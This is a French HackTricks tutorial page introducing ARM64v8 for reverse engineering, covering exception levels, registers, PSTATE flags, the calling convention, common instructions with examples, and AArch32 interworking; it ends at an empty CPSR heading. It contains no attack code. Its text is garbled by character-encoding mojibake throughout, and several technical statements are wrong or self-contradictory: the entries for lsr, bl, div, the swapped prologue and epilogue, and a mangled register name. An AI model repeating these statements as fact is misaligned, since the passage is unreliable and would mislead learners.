# Introduction √† ARM64v8

<details>

<summary><strong>Apprenez le piratage AWS de z√©ro √† h√©ros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Autres fa√ßons de soutenir HackTricks :

- Si vous souhaitez voir votre **entreprise annonc√©e dans HackTricks** ou **t√©l√©charger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- D√©couvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Rejoignez le** üí¨ [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** üê¶ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) d√©p√¥ts GitHub.

</details>

## **Niveaux d'exception - EL (ARM64v8)**

Dans l'architecture ARMv8, les niveaux d'ex√©cution, appel√©s niveaux d'exception (EL), d√©finissent le niveau de privil√®ge et les capacit√©s de l'environnement d'ex√©cution. Il existe quatre niveaux d'exception, allant de EL0 √† EL3, chacun servant √† un but diff√©rent :

1. **EL0 - Mode utilisateur** :
   - Il s'agit du niveau le moins privil√©gi√© et est utilis√© pour ex√©cuter du code d'application r√©gulier.
   - Les applications s'ex√©cutant √† EL0 sont isol√©es les unes des autres et du logiciel syst√®me, am√©liorant ainsi la s√©curit√© et la stabilit√©.
2. **EL1 - Mode noyau du syst√®me d'exploitation** :
   - La plupart des noyaux de syst√®mes d'exploitation s'ex√©cutent √† ce niveau.
   - EL1 a plus de privil√®ges que EL0 et peut acc√©der aux ressources syst√®me, mais avec certaines restrictions pour garantir l'int√©grit√© du syst√®me.
3. **EL2 - Mode hyperviseur** :
   - Ce niveau est utilis√© pour la virtualisation. Un hyperviseur s'ex√©cutant √† EL2 peut g√©rer plusieurs syst√®mes d'exploitation (chacun dans son propre EL1) s'ex√©cutant sur le m√™me mat√©riel physique.
   - EL2 offre des fonctionnalit√©s d'isolation et de contr√¥le des environnements virtualis√©s.
4. **EL3 - Mode moniteur s√©curis√©** :
   - Il s'agit du niveau le plus privil√©gi√© et est souvent utilis√© pour le d√©marrage s√©curis√© et les environnements d'ex√©cution de confiance.
   - EL3 peut g√©rer et contr√¥ler les acc√®s entre les √©tats s√©curis√©s et non s√©curis√©s (comme le d√©marrage s√©curis√©, le syst√®me d'exploitation de confiance, etc.).

L'utilisation de ces niveaux permet de g√©rer de mani√®re structur√©e et s√©curis√©e diff√©rents aspects du syst√®me, des applications utilisateur au logiciel syst√®me le plus privil√©gi√©. L'approche des niveaux de privil√®ge d'ARMv8 aide √† isoler efficacement les diff√©rents composants du syst√®me, am√©liorant ainsi la s√©curit√© et la robustesse du syst√®me.

## **Registres (ARM64v8)**

ARM64 dispose de **31 registres √† usage g√©n√©ral**, √©tiquet√©s `x0` √† `x30`. Chacun peut stocker une valeur de **64 bits** (8 octets). Pour les op√©rations n√©cessitant uniquement des valeurs de 32 bits, les m√™mes registres peuvent √™tre accessibles en mode 32 bits en utilisant les noms w0 √† w30.

1. **`x0`** √† **`x7`** - Ceux-ci sont g√©n√©ralement utilis√©s comme registres temporaires et pour passer des param√®tres aux sous-routines.
   - **`x0`** transporte √©galement les donn√©es de retour d'une fonction.
2. **`x8`** - Dans le noyau Linux, `x8` est utilis√© comme num√©ro d'appel syst√®me pour l'instruction `svc`. **Sur macOS, c'est x16 qui est utilis√© !**
3. **`x9`** √† **`x15`** - Plus de registres temporaires, souvent utilis√©s pour les variables locales.
4. **`x16`** et **`x17`** - **Registres d'appel intra-proc√©dural**. Registres temporaires pour les valeurs imm√©diates. Ils sont √©galement utilis√©s pour les appels de fonctions indirects et les √©bauches de PLT (Table de liaison de proc√©dure).
   - **`x16`** est utilis√© comme **num√©ro d'appel syst√®me** pour l'instruction **`svc`** dans **macOS**.
5. **`x18`** - **Registre de plateforme**. Il peut √™tre utilis√© comme registre √† usage g√©n√©ral, mais sur certaines plateformes, ce registre est r√©serv√© √† des utilisations sp√©cifiques √† la plateforme : Pointeur vers le bloc d'environnement de thread actuel dans Windows, ou pour pointer vers la structure de t√¢che actuellement **en cours d'ex√©cution dans le noyau Linux**.
6. **`x19`** √† **`x28`** - Ce sont des registres sauvegard√©s par l'appel√©. Une fonction doit pr√©server les valeurs de ces registres pour son appelant, elles sont donc stock√©es dans la pile et r√©cup√©r√©es avant de retourner √† l'appelant.
7. **`x29`** - **Pointeur de cadre** pour suivre le cadre de la pile. Lorsqu'un nouveau cadre de pile est cr√©√© parce qu'une fonction est appel√©e, le registre **`x29`** est **stock√© dans la pile** et l'adresse du **nouveau** pointeur de cadre (adresse de **`sp`**) est **stock√©e dans ce registre**.
   - Ce registre peut √©galement √™tre utilis√© comme **registre √† usage g√©n√©ral** bien qu'il soit g√©n√©ralement utilis√© comme r√©f√©rence aux **variables locales**.
8. **`x30`** ou **`lr`** - **Registre de lien**. Il contient l'**adresse de retour** lorsqu'une instruction `BL` (Branch with Link) ou `BLR` (Branch with Link to Register) est ex√©cut√©e en stockant la valeur de **`pc`** dans ce registre.
   - Il peut √©galement √™tre utilis√© comme n'importe quel autre registre.
   - Si la fonction actuelle va appeler une nouvelle fonction et donc √©craser `lr`, elle le stockera dans la pile au d√©but, c'est l'√©pilogue (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stocker `fp` et `lr`, g√©n√©rer de l'espace et obtenir un nouveau `fp`) et le r√©cup√©rera √† la fin, c'est le prologue (`ldp x29, x30, [sp], #48; ret` -> R√©cup√©rer `fp` et `lr` et retourner).
9. **`sp`** - **Pointeur de pile**, utilis√© pour suivre le sommet de la pile.
   - la valeur de **`sp`** doit toujours √™tre maintenue √† au moins un **alignement de quadri-mot** ou une exception d'alignement peut se produire.
10. **`pc`** - **Compteur de programme**, qui pointe vers l'instruction suivante. Ce registre ne peut √™tre mis √† jour que par des g√©n√©rations d'exceptions, des retours d'exceptions et des branches. Les seules instructions ordinaires qui peuvent lire ce registre sont les instructions de branchement avec lien (BL, BLR) pour stocker l'adresse de **`pc`** dans **`lr`** (Registre de lien).
11. **`xzr`** - **Registre z√©ro**. Aussi appel√© **`wzr`** dans sa forme de registre **32** bits. Peut √™tre utilis√© pour obtenir facilement la valeur z√©ro (op√©ration courante) ou pour effectuer des comparaisons en utilisant **`subs`** comme **`subs XZR, Xn, #10`** en stockant les donn√©es r√©sultantes nulle part (dans **`xzr`**).

Les registres **`Wn`** sont la version **32 bits** du registre **`Xn`**.

### Registres SIMD et √† virgule flottante

De plus, il existe **32 autres registres de longueur 128 bits** qui peuvent √™tre utilis√©s dans des op√©rations optimis√©es de donn√©es multiples √† instruction unique (SIMD) et pour effectuer des calculs en virgule flottante. Ceux-ci sont appel√©s les registres Vn bien qu'ils puissent √©galement fonctionner en **64** bits, **32** bits, **16** bits et **8** bits, et sont alors appel√©s **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** et **`Bn`**.
### Registres syst√®me

**Il existe des centaines de registres syst√®me**, √©galement appel√©s registres √† usage sp√©cial (SPR), qui sont utilis√©s pour **surveiller** et **contr√¥ler** le **comportement des processeurs**.\
Ils ne peuvent √™tre lus ou d√©finis qu'en utilisant les instructions sp√©ciales d√©di√©es **`mrs`** et **`msr`**.

Les registres sp√©ciaux **`TPIDR_EL0`** et **`TPIDDR_EL0`** sont couramment rencontr√©s lors de l'ing√©nierie inverse. Le suffixe `EL0` indique l'**exception minimale** √† partir de laquelle le registre peut √™tre acc√©d√© (dans ce cas, EL0 est le niveau d'exception (privil√®ge) r√©gulier avec lequel les programmes s'ex√©cutent).\
Ils sont souvent utilis√©s pour stocker l'**adresse de base de la r√©gion de stockage locale du thread** en m√©moire. G√©n√©ralement, le premier est lisible et inscriptible pour les programmes s'ex√©cutant en EL0, mais le second peut √™tre lu depuis EL0 et √©crit depuis EL1 (comme le noyau).

* `mrs x0, TPIDR_EL0 ; Lire TPIDR_EL0 dans x0`
* `msr TPIDR_EL0, X0 ; √âcrire x0 dans TPIDR_EL0`

### **PSTATE**

**PSTATE** contient plusieurs composants de processus s√©rialis√©s dans le registre sp√©cial **`SPSR_ELx`** visible par le syst√®me d'exploitation, X √©tant le **niveau de permission de l'exception d√©clench√©e** (ce qui permet de r√©cup√©rer l'√©tat du processus lorsque l'exception se termine).\
Voici les champs accessibles :

<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>

* Les indicateurs de condition **`N`**, **`Z`**, **`C`** et **`V`** :
* **`N`** signifie que l'op√©ration a donn√© un r√©sultat n√©gatif
* **`Z`** signifie que l'op√©ration a donn√© z√©ro
* **`C`** signifie que l'op√©ration a √©t√© effectu√©e
* **`V`** signifie que l'op√©ration a donn√© un d√©passement sign√© :
* La somme de deux nombres positifs donne un r√©sultat n√©gatif.
* La somme de deux nombres n√©gatifs donne un r√©sultat positif.
* En soustraction, lorsqu'un grand nombre n√©gatif est soustrait d'un plus petit nombre positif (ou vice versa), et que le r√©sultat ne peut pas √™tre repr√©sent√© dans la plage de la taille de bits donn√©e.
* √âvidemment, le processeur ne sait pas si l'op√©ration est sign√©e ou non, il v√©rifiera donc C et V dans les op√©rations et indiquera si une retenue s'est produite dans le cas o√π elle √©tait sign√©e ou non sign√©e.

{% hint style="warning" %}
Toutes les instructions ne mettent pas √† jour ces indicateurs. Certaines comme **`CMP`** ou **`TST`** le font, et d'autres qui ont un suffixe s comme **`ADDS`** le font √©galement.
{% endhint %}

* Le drapeau actuel de **largeur de registre (`nRW`)** : Si le drapeau a la valeur 0, le programme s'ex√©cutera dans l'√©tat d'ex√©cution AArch64 une fois repris.
* Le **Niveau d'Exception actuel** (**`EL`**) : Un programme r√©gulier s'ex√©cutant en EL0 aura la valeur 0
* Le drapeau de **pas √† pas unique** (**`SS`**) : Utilis√© par les d√©bogueurs pour effectuer un pas √† pas en d√©finissant le drapeau SS sur 1 √† l'int√©rieur de **`SPSR_ELx`** via une exception. Le programme effectuera un pas et √©mettra une exception de pas √† pas.
* Le drapeau d'√©tat d'exception **ill√©gal** (**`IL`**) : Il est utilis√© pour marquer quand un logiciel privil√©gi√© effectue un transfert de niveau d'exception invalide, ce drapeau est d√©fini sur 1 et le processeur d√©clenche une exception d'√©tat ill√©gal.
* Les drapeaux **`DAIF`** : Ces drapeaux permettent √† un programme privil√©gi√© de masquer s√©lectivement certaines exceptions externes.
* Si **`A`** est √† 1, cela signifie que des **abandons asynchrones** seront d√©clench√©s. Le **`I`** configure la r√©ponse aux **Demandes d'Interruptions** externes (IRQs). et le F est li√© aux **Demandes d'Interruptions Rapides** (FIRs).
* Les drapeaux de s√©lection de pointeur de pile (**`SPS`**) : Les programmes privil√©gi√©s s'ex√©cutant en EL1 et sup√©rieur peuvent basculer entre l'utilisation de leur propre registre de pointeur de pile et celui du mod√®le utilisateur (par exemple, entre `SP_EL1` et `EL0`). Ce basculement est effectu√© en √©crivant dans le registre sp√©cial **`SPSel`**. Cela ne peut pas √™tre fait depuis EL0.

## **Convention d'Appel (ARM64v8)**

La convention d'appel ARM64 sp√©cifie que les **huit premiers param√®tres** d'une fonction sont pass√©s dans les registres **`x0` √† `x7`**. Les **param√®tres suppl√©mentaires** sont pass√©s sur la **pile**. La **valeur de retour** est renvoy√©e dans le registre **`x0`**, ou dans **`x1`** √©galement **s'il fait 128 bits de long**. Les registres **`x19`** √† **`x30`** et **`sp`** doivent √™tre **conserv√©s** entre les appels de fonction.

Lors de la lecture d'une fonction en langage d'assemblage, recherchez le **prologue et l'√©pilogue de la fonction**. Le **prologue** implique g√©n√©ralement **la sauvegarde du pointeur de cadre (`x29`)**, **la configuration** d'un **nouveau pointeur de cadre**, et **l'allocation d'espace de pile**. L'**√©pilogue** implique g√©n√©ralement **la restauration du pointeur de cadre sauvegard√©** et **le retour** de la fonction.

### Convention d'Appel en Swift

Swift a sa propre **convention d'appel** qui peut √™tre trouv√©e √† l'adresse [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)

## **Instructions Courantes (ARM64v8)**

Les instructions ARM64 ont g√©n√©ralement le **format `opcode dst, src1, src2`**, o√π **`opcode`** est l'**op√©ration** √† effectuer (comme `add`, `sub`, `mov`, etc.), **`dst`** est le **registre de destination** o√π le r√©sultat sera stock√©, et **`src1`** et **`src2`** sont les **registres source**. Des valeurs imm√©diates peuvent √©galement √™tre utilis√©es √† la place des registres source.

* **`mov`** : **D√©placer** une valeur d'un **registre** √† un autre.
* Exemple : `mov x0, x1` ‚Äî Cela d√©place la valeur de `x1` vers `x0`.
* **`ldr`** : **Charger** une valeur depuis la **m√©moire** dans un **registre**.
* Exemple : `ldr x0, [x1]` ‚Äî Cela charge une valeur depuis l'emplacement m√©moire point√© par `x1` dans `x0`.
* **Mode de d√©calage** : Un d√©calage affectant le pointeur d'origine est indiqu√©, par exemple :
* `ldr x2, [x1, #8]`, cela chargera dans x2 la valeur de x1 + 8
* &#x20;`ldr x2, [x0, x1, lsl #2]`, cela chargera dans x2 un objet du tableau x0, √† la position x1 (index) \* 4
* **Mode pr√©-index√©** : Cela appliquera des calculs √† l'origine, obtiendra le r√©sultat et stockera √©galement la nouvelle origine dans l'origine.
* `ldr x2, [x1, #8]!`, cela chargera `x1 + 8` dans `x2` et stockera dans x1 le r√©sultat de `x1 + 8`
* `str lr, [sp, #-4]!`, Stocke le registre de lien dans sp et met √† jour le registre sp
* **Mode post-index√©** : C'est comme le pr√©c√©dent mais l'adresse m√©moire est acc√©d√©e, puis le d√©calage est calcul√© et stock√©.
* `ldr x0, [x1], #8`, charge `x1` dans `x0` et met √† jour x1 avec `x1 + 8`
* **Adressage relatif au PC** : Dans ce cas, l'adresse √† charger est calcul√©e par rapport au registre PC
* `ldr x1, =_start`, Cela chargera l'adresse o√π le symbole `_start` commence dans x1 par rapport au PC actuel.
* **`str`** : **Stocker** une valeur d'un **registre** dans la **m√©moire**.
* Exemple : `str x0, [x1]` ‚Äî Cela stocke la valeur dans `x0` dans l'emplacement m√©moire point√© par `x1`.
* **`ldp`** : **Charger une Paire de Registres**. Cette instruction **charge deux registres** √† partir de **emplacements m√©moire** cons√©cutifs. L'adresse m√©moire est g√©n√©ralement form√©e en ajoutant un d√©calage √† la valeur dans un autre registre.
* Exemple : `ldp x0, x1, [x2]` ‚Äî Cela charge `x0` et `x1` depuis les emplacements m√©moire √† `x2` et `x2 + 8`, respectivement.
* **`stp`** : **Stocker une Paire de Registres**. Cette instruction **stocke deux registres** dans des **emplacements m√©moire** cons√©cutifs. L'adresse m√©moire est g√©n√©ralement form√©e en ajoutant un d√©calage √† la valeur dans un autre registre.
* Exemple : `stp x0, x1, [sp]` ‚Äî Cela stocke `x0` et `x1` dans les emplacements m√©moire √† `sp` et `sp + 8`, respectivement.
* `stp x0, x1, [sp, #16]!` ‚Äî Cela stocke `x0` et `x1` dans les emplacements m√©moire √† `sp+16` et `sp + 24`, respectivement, et met √† jour `sp` avec `sp+16`.
* **`add`** : **Ajouter** les valeurs de deux registres et stocker le r√©sultat dans un registre.
* Syntaxe : add(s) Xn1, Xn2, Xn3 | #imm, \[d√©calage #N | RRX\]
* Xn1 -> Destination
* Xn2 -> Op√©rande 1
* Xn3 | #imm -> Op√©rande 2 (registre ou imm√©diat)
* \[d√©calage #N | RRX\] -> Effectue un d√©calage ou appelle RRX
* Exemple : `add x0, x1, x2` ‚Äî Cela ajoute les valeurs de `x1` et `x2` ensemble et stocke le r√©sultat dans `x0`.
* `add x5, x5, #1, lsl #12` ‚Äî Cela √©quivaut √† 4096 (un 1 d√©cal√© de 12 fois) -> 1 0000 0000 0000 0000
* **`adds`** Cela effectue un `add` et met √† jour les drapeaux
* **`sub`** : **Soustraire** les valeurs de deux registres et stocker le r√©sultat dans un registre.
* V√©rifier la **syntaxe de `add`**.
* Exemple : `sub x0, x1, x2` ‚Äî Cela soustrait la valeur de `x2` de `x1` et stocke le r√©sultat dans `x0`.
* **`subs`** C'est comme sub mais en mettant √† jour le drapeau
* **`mul`** : **Multiplier** les valeurs de **deux registres** et stocker le r√©sultat dans un registre.
* Exemple : `mul x0, x1, x2` ‚Äî Cela multiplie les valeurs de `x1` et `x2` et stocke le r√©sultat dans `x0`.
* **`div`** : **Diviser** la valeur d'un registre par un autre et stocker le r√©sultat dans un registre.
* Exemple : `div x0, x1, x2` ‚Äî Cela divise la valeur dans `x1` par `x2` et stocke le r√©sultat dans `x0`.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`** :
* **D√©calage logique √† gauche** : Ajoute des 0 √† partir de la fin en d√©pla√ßant les autres bits vers l'avant (multiplie par n fois 2)
* **D√©calage logique √† droite** : Ajoute des 1 au d√©but en d√©pla√ßant les autres bits vers l'arri√®re (divise par n fois 2 en non sign√©)
* **D√©calage arithm√©tique √† droite** : Comme **`lsr`**, mais au lieu d'ajouter des 0 si le bit le plus significatif est un 1, \*\*1s sont ajout√©s (\*\*divise par n fois 2 en sign√©)
* **Rotation √† droite** : Comme **`lsr`** mais ce qui est supprim√© √† droite est ajout√© √† gauche
* **Rotation √† droite avec extension** : Comme **`ror`**, mais avec le drapeau de retenue comme "bit le plus significatif". Ainsi, le drapeau de retenue est d√©plac√© vers le bit 31 et le bit supprim√© vers le drapeau de retenue.
* **`bfm`** : **D√©placement de champ de bits**, ces op√©rations **copient les bits `0...n`** d'une valeur et les placent dans les positions **`m..m+n`**. Le **`#s`** sp√©cifie la position du **bit le plus √† gauche** et **`#r`** la **quantit√© de rotation √† droite**.
* D√©placement de champ de bits : `BFM Xd, Xn, #r`
* D√©placement de champ de bits sign√© : `SBFM Xd, Xn, #r, #s`
* D√©placement de champ de bits non sign√© : `UBFM Xd, Xn, #r, #s`
* **Extraction et insertion de champ de bits :** Copie un champ de bits d'un registre et le copie dans un autre registre.
* **`BFI X1, X2, #3, #4`** Ins√®re 4 bits de X2 √† partir du 3e bit de X1
* **`BFXIL X1, X2, #3, #4`** Extrait √† partir du 3e bit de X2 quatre bits et les copie dans X1
* **`SBFIZ X1, X2, #3, #4`** √âtend le signe de 4 bits de X2 et les ins√®re dans X1 √† partir de la position du bit 3 en mettant √† z√©ro les bits de droite
* **`SBFX X1, X2, #3, #4`** Extrait 4 bits √† partir du bit 3 de X2, √©tend le signe, et place le r√©sultat dans X1
* **`UBFIZ X1, X2, #3, #4`** √âtend √† z√©ro 4 bits de X2 et les ins√®re dans X1 √† partir de la position du bit 3 en mettant √† z√©ro les bits de droite
* **`UBFX X1, X2, #3, #4`** Extrait 4 bits √† partir du bit 3 de X2 et place le r√©sultat √©tendu √† z√©ro dans X1.
* **√âtendre le signe √† X :** √âtend le signe (ou ajoute simplement des 0 dans la version non sign√©e) d'une valeur pour pouvoir effectuer des op√©rations avec elle :
* **`SXTB X1, W2`** √âtend le signe d'un octet **de W2 √† X1** (`W2` est la moiti√© de `X2`) pour remplir les 64 bits
* **`SXTH X1, W2`** √âtend le signe d'un nombre de 16 bits **de W2 √† X1** pour remplir les 64 bits
* **`SXTW X1, W2`** √âtend le signe d'un octet **de W2 √† X1** pour remplir les 64 bits
* **`UXTB X1, W2`** Ajoute des 0 (non sign√©) √† un octet **de W2 √† X1** pour remplir les 64 bits
* **`extr` :** Extrait des bits d'une **paire de registres concat√©n√©s** sp√©cifi√©e.
* Exemple : `EXTR W3, W2, W1, #3` Cela **concat√®ne W1+W2** et obtient **du bit 3 de W2 jusqu'au bit 3 de W1** et le stocke dans W3.
* **`cmp`** : **Comparer** deux registres et d√©finir les drapeaux de condition. C'est un **alias de `subs`** en d√©finissant le registre de destination sur le registre z√©ro. Utile pour savoir si `m == n`.
* Il prend en charge la **m√™me syntaxe que `subs`**
* Exemple : `cmp x0, x1` ‚Äî Cela compare les valeurs dans `x0` et `x1` et d√©finit les drapeaux de condition en cons√©quence.
* **`cmn`** : **Comparer l'oppos√© n√©gatif**. Dans ce cas, c'est un **alias de `adds`** et prend en charge la m√™me syntaxe. Utile pour savoir si `m == -n`.
* **`ccmp`** : Comparaison conditionnelle, c'est une comparaison qui sera effectu√©e uniquement si une comparaison pr√©c√©dente √©tait vraie et d√©finira sp√©cifiquement les bits nzcv.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> si x1 != x2 et x3 < x4, sauter √† func
* Cela est d√ª au fait que **`ccmp`** ne sera ex√©cut√© que si le **pr√©c√©dent `cmp` √©tait un `NE`**, sinon les bits `nzcv` seront d√©finis √† 0 (ce qui ne satisfera pas la comparaison `blt`).
* Cela peut √©galement √™tre utilis√© comme `ccmn` (pareil mais n√©gatif, comme `cmp` vs `cmn`).
* **`tst`** : Il v√©rifie si l'une des valeurs de la comparaison est √† la fois 1 (il fonctionne comme un ANDS sans stocker le r√©sultat n'importe o√π). Utile pour v√©rifier un registre avec une valeur et v√©rifier si l'un des bits du registre indiqu√© dans la valeur est √† 1.
* Exemple : `tst X1, #7` V√©rifie si l'un des 3 derniers bits de X1 est √† 1
* **`teq`** : Op√©ration XOR en ignorant le r√©sultat
* **`b`** : Branchement inconditionnel
* Exemple : `b myFunction`&#x20;
* Notez que cela ne remplira pas le registre de lien avec l'adresse de retour (pas adapt√© pour les appels de sous-routine qui doivent revenir en arri√®re)
* **`bl`** : **Branchement** avec lien, utilis√© pour **appeler** une **sous-routine**. Stocke l'**adresse de retour dans `x30`**.
* Exemple : `bl myFunction` ‚Äî Cela appelle la fonction `myFunction` et stocke l'adresse de retour dans `x30`.
* Notez que cela ne remplira pas le registre de lien avec l'adresse de retour (pas adapt√© pour les appels de sous-routine qui doivent revenir en arri√®re)
* **`blr`** : **Branchement** avec lien vers un registre, utilis√© pour **appeler** une **sous-routine** o√π la cible est **sp√©cifi√©e** dans un **registre**. Stocke l'adresse de retour dans `x30`. (Ceci est&#x20;
* Exemple : `blr x1` ‚Äî Cela appelle la fonction dont l'adresse est contenue dans `x1` et stocke l'adresse de retour dans `x30`.
* **`ret`** : **Retour** de **sous-routine**, en utilisant g√©n√©ralement l'adresse dans **`x30`**.
* Exemple : `ret` ‚Äî Cela retourne de la sous-routine actuelle en utilisant l'adresse de retour dans `x30`.
* **`b.<cond>`** : Branchement conditionnel
* **`b.eq`** : **Brancher si √©gal**, bas√© sur l'instruction `cmp` pr√©c√©dente.
* Exemple : `b.eq label` ‚Äî Si l'instruction `cmp` pr√©c√©dente a trouv√© deux valeurs √©gales, cela saute √† `label`.
* **`b.ne`**: **Branch if Not Equal**. Cette instruction v√©rifie les indicateurs de condition (qui ont √©t√© d√©finis par une instruction de comparaison pr√©c√©dente), et si les valeurs compar√©es ne sont pas √©gales, elle saute vers une √©tiquette ou une adresse.
* Exemple : Apr√®s une instruction `cmp x0, x1`, `b.ne label` ‚Äî Si les valeurs dans `x0` et `x1` ne sont pas √©gales, cela saute √† `label`.
* **`cbz`**: **Comparer et Sauter si Z√©ro**. Cette instruction compare un registre avec z√©ro, et s'ils sont √©gaux, elle saute vers une √©tiquette ou une adresse.
* Exemple : `cbz x0, label` ‚Äî Si la valeur dans `x0` est z√©ro, cela saute √† `label`.
* **`cbnz`**: **Comparer et Sauter si Non-Z√©ro**. Cette instruction compare un registre avec z√©ro, et s'ils ne sont pas √©gaux, elle saute vers une √©tiquette ou une adresse.
* Exemple : `cbnz x0, label` ‚Äî Si la valeur dans `x0` est non nulle, cela saute √† `label`.
* **`tbnz`**: Tester le bit et sauter si non nul
* Exemple : `tbnz x0, #8, label`
* **`tbz`**: Tester le bit et sauter si z√©ro
* Exemple : `tbz x0, #8, label`
* **Op√©rations de s√©lection conditionnelle** : Ce sont des op√©rations dont le comportement varie en fonction des bits conditionnels.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Si vrai, X0 = X1, si faux, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Si vrai, Xd = Xn + 1, si faux, Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = NON(Xm)
* `cinv Xd, Xn, cond` -> Si vrai, Xd = NON(Xn), si faux, Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> Si vrai, Xd = Xn, si faux, Xd = - Xm
* `cneg Xd, Xn, cond` -> Si vrai, Xd = - Xn, si faux, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Si vrai, Xd = 1, si faux, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Si vrai, Xd = \<tout 1>, si faux, Xd = 0
* **`adrp`**: Calculer l'**adresse de page d'un symbole** et la stocker dans un registre.
* Exemple : `adrp x0, symbol` ‚Äî Cela calcule l'adresse de page de `symbol` et la stocke dans `x0`.
* **`ldrsw`**: **Charger** une valeur sign√©e **32 bits** depuis la m√©moire et la **√©tendre √† 64 bits**.
* Exemple : `ldrsw x0, [x1]` ‚Äî Cela charge une valeur sign√©e sur 32 bits depuis l'emplacement m√©moire point√© par `x1`, l'√©tend √† 64 bits, et la stocke dans `x0`.
* **`stur`**: **Stocker une valeur de registre dans un emplacement m√©moire**, en utilisant un d√©calage par rapport √† un autre registre.
* Exemple : `stur x0, [x1, #4]` ‚Äî Cela stocke la valeur dans `x0` dans l'adresse m√©moire qui est 4 octets plus grande que l'adresse actuellement dans `x1`.
* **`svc`** : Faire un **appel syst√®me**. Cela signifie "Supervisor Call". Lorsque le processeur ex√©cute cette instruction, il **passe du mode utilisateur au mode noyau** et saute √† un emplacement sp√©cifique en m√©moire o√π se trouve le code de gestion des **appels syst√®me du noyau**.
*   Exemple:

```armasm
mov x8, 93  ; Charger le num√©ro d'appel syst√®me pour exit (93) dans le registre x8.
mov x0, 0   ; Charger le code d'√©tat de sortie (0) dans le registre x0.
svc 0       ; Faire l'appel syst√®me.
```

### **Prologue de fonction**

1. **Sauvegarder le registre de lien et le pointeur de cadre dans la pile**:

{% code overflow="wrap" %}
```armasm
stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
```
{% endcode %}

2. **Configurer le nouveau pointeur de cadre**: `mov x29, sp` (configure le nouveau pointeur de cadre pour la fonction actuelle)
3. **Allouer de l'espace sur la pile pour les variables locales** (si n√©cessaire): `sub sp, sp, <size>` (o√π `<size>` est le nombre d'octets n√©cessaires)

### **√âpilogue de la fonction**

1. **D√©sallouer les variables locales (si des variables ont √©t√© allou√©es)**: `add sp, sp, <size>`
2. **Restaurer le registre de lien et le pointeur de cadre**:

{% code overflow="wrap" %}
```armasm
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
```
{% endcode %}

3. **Retour**: `ret` (renvoie le contr√¥le √† l'appelant en utilisant l'adresse dans le registre de lien)

## √âtat d'ex√©cution AARCH32

Armv8-A prend en charge l'ex√©cution de programmes 32 bits. **AArch32** peut s'ex√©cuter dans l'un des **deux jeux d'instructions** : **`A32`** et **`T32`** et peut basculer entre eux via **`l'interfonctionnement`**.\
Les programmes 64 bits **privil√©gi√©s** peuvent planifier l'**ex√©cution de programmes 32 bits** en effectuant un transfert de niveau d'exception vers le 32 bits moins privil√©gi√©.\
Notez que la transition de 64 bits √† 32 bits se produit avec une baisse du niveau d'exception (par exemple, un programme 64 bits en EL1 d√©clenchant un programme en EL0). Cela est fait en d√©finissant le **bit 4 de** **`SPSR_ELx`** registre sp√©cial **√† 1** lorsque le processus de thread `AArch32` est pr√™t √† √™tre ex√©cut√© et le reste de `SPSR_ELx` stocke les programmes **`AArch32`** CPSR. Ensuite, le processus privil√©gi√© appelle l'instruction **`ERET`** pour que le processeur passe en mode **`AArch32`** en entrant en A32 ou T32 en fonction de CPSR\*\*.\*\*

L'**`interfonctionnement`** se produit en utilisant les bits J et T de CPSR. `J=0` et `T=0` signifie **`A32`** et `J=0` et `T=1` signifie **T32**. Cela se traduit essentiellement par le r√©glage du **bit le plus bas √† 1** pour indiquer que le jeu d'instructions est T32.\
Cela est d√©fini pendant les **instructions de branchement d'interfonctionnement,** mais peut √©galement √™tre d√©fini directement avec d'autres instructions lorsque le PC est d√©fini comme le registre de destination. Exemple :

Un autre exemple:
```armasm
_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8
```
### Registres

Il y a 16 registres de 32 bits (r0-r15). De r0 √† r14, ils peuvent √™tre utilis√©s pour toute op√©ration, cependant certains sont g√©n√©ralement r√©serv√©s :

- `r15` : Compteur de programme (toujours). Contient l'adresse de l'instruction suivante. En A32, actuel + 8, en T32, actuel + 4.
- `r11` : Pointeur de cadre
- `r12` : Registre d'appel intra-proc√©dural
- `r13` : Pointeur de pile
- `r14` : Registre de lien

De plus, les registres sont sauvegard√©s dans des **registres bancaires**. Ce sont des emplacements qui stockent les valeurs des registres permettant d'effectuer une **commutation de contexte rapide** dans la gestion des exceptions et des op√©rations privil√©gi√©es pour √©viter de devoir sauvegarder et restaurer manuellement les registres √† chaque fois. Cela est r√©alis√© en **sauvegardant l'√©tat du processeur du `CPSR` dans le `SPSR`** du mode processeur vers lequel l'exception est prise. Lors du retour de l'exception, le **`CPSR`** est restaur√© √† partir du **`SPSR`**.

### CPSR - Registre d'√©tat de programme actuel

